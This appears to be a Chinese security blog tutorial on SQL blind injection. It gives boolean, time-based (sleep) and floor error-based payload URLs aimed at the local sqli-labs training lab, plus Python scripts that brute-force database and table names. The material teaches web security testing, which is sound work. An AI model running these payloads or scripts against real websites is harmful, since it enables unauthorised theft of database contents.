本文首发于:安恒网络空间安全讲武堂
这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下,同时也给大家分享一下我在学习过程中编写的几个自动注入脚本,也欢迎各位师傅的指点和斧正。
函数整理
这里我先将所用到的功能函数整理一下,同时也欢迎各位师傅的补充和纠正
left(m,n) #从左向右截取字符串m返回其前n位
substr(m,1,2) #取字符串m的左边第一位起,2字长的字符串
ascii(m) #返回字符m的ASCII码
if(str1,str2,str3) #如果str1正确就执行str2,否则执行str3
sleep(m) #使程序暂停m秒
length(m) #返回字符串m的长度
count(column_name) #返回指定列的值的数目
concat()函数和group_concat()区别
concat()
该函数用于联合两条数据结果,通常是联合两个字段名,如concat(username,0x23,passwd),数据将由#分割开
group_concat()
这个函数与concat()用法是类似的,但如果管理员账号不止一个的话,concat一次只能注出一组用户名密码,而使用group_concat()可以实现一次注出多组数据。
盲注类型
基于布尔的盲注
特征
被注入的页面没有sql语句执行错误的显示,页面只有正常返回和不正常返回两种状态
示例
这里我拿sqli-labs的less8作为布尔型盲注的例子
我们可以看到这个页面正常会返回You are in………..而不正常的时候会无任何返回,这就很符合布尔盲注的特征
正常返回:
非正常返回:
构造?id=1’ and 1=1 %23时正常返回
这里基本就可以确定可以使用布尔盲注来获得数据库中的数据
接下来我们来猜解库名,在猜解库名之前,我们首先需要知道库名的长度
这里我们就可以利用length()函数来进行长度的爆破:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database())=m) %23 //m=1,2,3,4.....
代码如下:
结果
接下来开始进行库名的猜解,这里用到了ascii()函数和substr()函数,具体的语句如下:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),m,1))=n %23 //其中m 和 n是可变的参数
猜解库名的自动化脚本函数如下:
结果如下:
猜解表名和字段和猜解库名是一样的,篇幅原因将代码直接放出:
import requests
def get_dblength(base_url):
url = base_url+"' and (length(database())={0}) %23"
base_num = 100
for i in range(0,base_num):
url1 = url.format(i)
print(url1)
result = len(requests.get(url1).text)
if result == base_result:
print("库名长度:",i)
break
return i
def get_dbname(base_url,db_length):
dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
dbname = ""
url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"
for i in range(1,db_length+1):
for m in dict:
m_ascii = ord(m)
url2 = url.format(i,m_ascii)
result = requests.get(url2)
if len(result.text) == base_result:
dbname += m
print(dbname)
break
print("库名:",dbname)
def get_table_length():
url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
for i in range(0,20):
url1 = url.format(2,i)
result = requests.get(url1)
if base_result == len(result.text):
print("表名长度:",i)
break
return i
def get_table_name(table_length):
dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
table_name = ""
url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"
for i in range(1,table_length + 1):
for m in dict:
ascii_m = ord(m)
url1 = url.format(2,i,ascii_m)
result = requests.get(url1).text
if base_result == len(result):
table_name +=m
print("表名:",table_name)
break
return table_name
if __name__ == '__main__':
base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"
base_result = len(requests.get(base_url).text)
dblength = get_dblength(base_url)
get_dbname(base_url, dblength)
get_table_length()
get_table_name(7)
基于时间的盲注
特征
被注入页面无论作何输入都回显相同的数据,导致我们无法判断注入是否成功,这时我们就可以使用以sleep()函数为核心的注入语句进行延时注入
示例
以sqli-labs less9作为示例
不管我们输入什么页面都显示You are in………..这时我们就可以用延时注入的方法进行数据库数据的获取
同样我们需要先获取库名的长度,然后再获取库名
这里主要使用到了sleep(),substr()和length()函数
获取库名长度:
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((length((select database()))=m),sleep(5),NULL) %23//其中m为整型可变参数,如果猜解正确,页面将会暂停响应5秒
获取库名:
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((substr((select database()),m,1)='n'),sleep(5),NULL) %23//其中m为整形,n为char型可变参数
爆破代码:
import requests
def db_post(url):
try:
result = requests.get(url,timeout=4)
return 0
except:
return 1
def get_db_length():
url = base_url + "' and if((length((select database()))={0}),sleep(5),NULL) %23"
for i in range(0,20):
url1 = url.format(i)
temp = db_post(url1)
if temp == 1:
print("数据库名长度:",i)
break
return i
def get_db_name(db_length):
db_name = ""
url = base_url + "' and if((substr((select database()),{0},1)='{1}'),sleep(5),NULL) %23"
print("开始猜解库名")
for i in range(1,db_length+1):
for m in dict:
url1 = url.format(i,m)
temp = db_post(url1)
if temp == 1:
db_name += m
print(db_name)
break
print("库名:",db_name)
return db_name
if __name__ == '__main__':
dict = 'abcdefghijklmnopqrstuvwxyz'
base_url = "http://127.0.0.1/sqli-labs/Less-9/?id=1"
db_length = get_db_length()
get_db_name(db_length)
可以看到成功将库名猜解出来
剩下的表名和字段将脚本稍作修改即可猜解出来,篇幅原因不再重复操作
基于报错的盲注(floor报错注入)
原理
该类型的注入利用了mysql的8652号BUG(官方链接:https://bugs.mysql.com/bug.php?id=8652),当使用group by对某些rand函数操作时,会返回带有敏感信息的错误信息,我们可以通过特定的sql语句组合来控制返回敏感信息的内容,从而实现间接的注入
示例
对于BUG触发的原理本篇不做分析,通过对该类型注入的资料收集,根据网络上的payload我整理了一份有效的注入语句
以sqli-labs less5为实际示例
这里要用到concat和count函数
回显库名:
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select database()),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23
接下来是表名的注入,我们同样需要知道表名的个数:
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select count(table_name) from information_schema.tables where table_schema='security'),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23
表名有四个,接着注出表名:
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select table_name from information_schema.tables where table_schema='security' limit 3,1),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23
想注出全部表名修改limit参数即可
列名和数据同理修改查询语句就可以了。
总结
盲注是一个比较费神和考验逻辑的注入方式,在注入的过程中会做很多相同的工作,为了节省时间和精力,建议大家在平时练习的时候多编写自动脚本,这样能节省很多时间,避免做更多重复无用的工作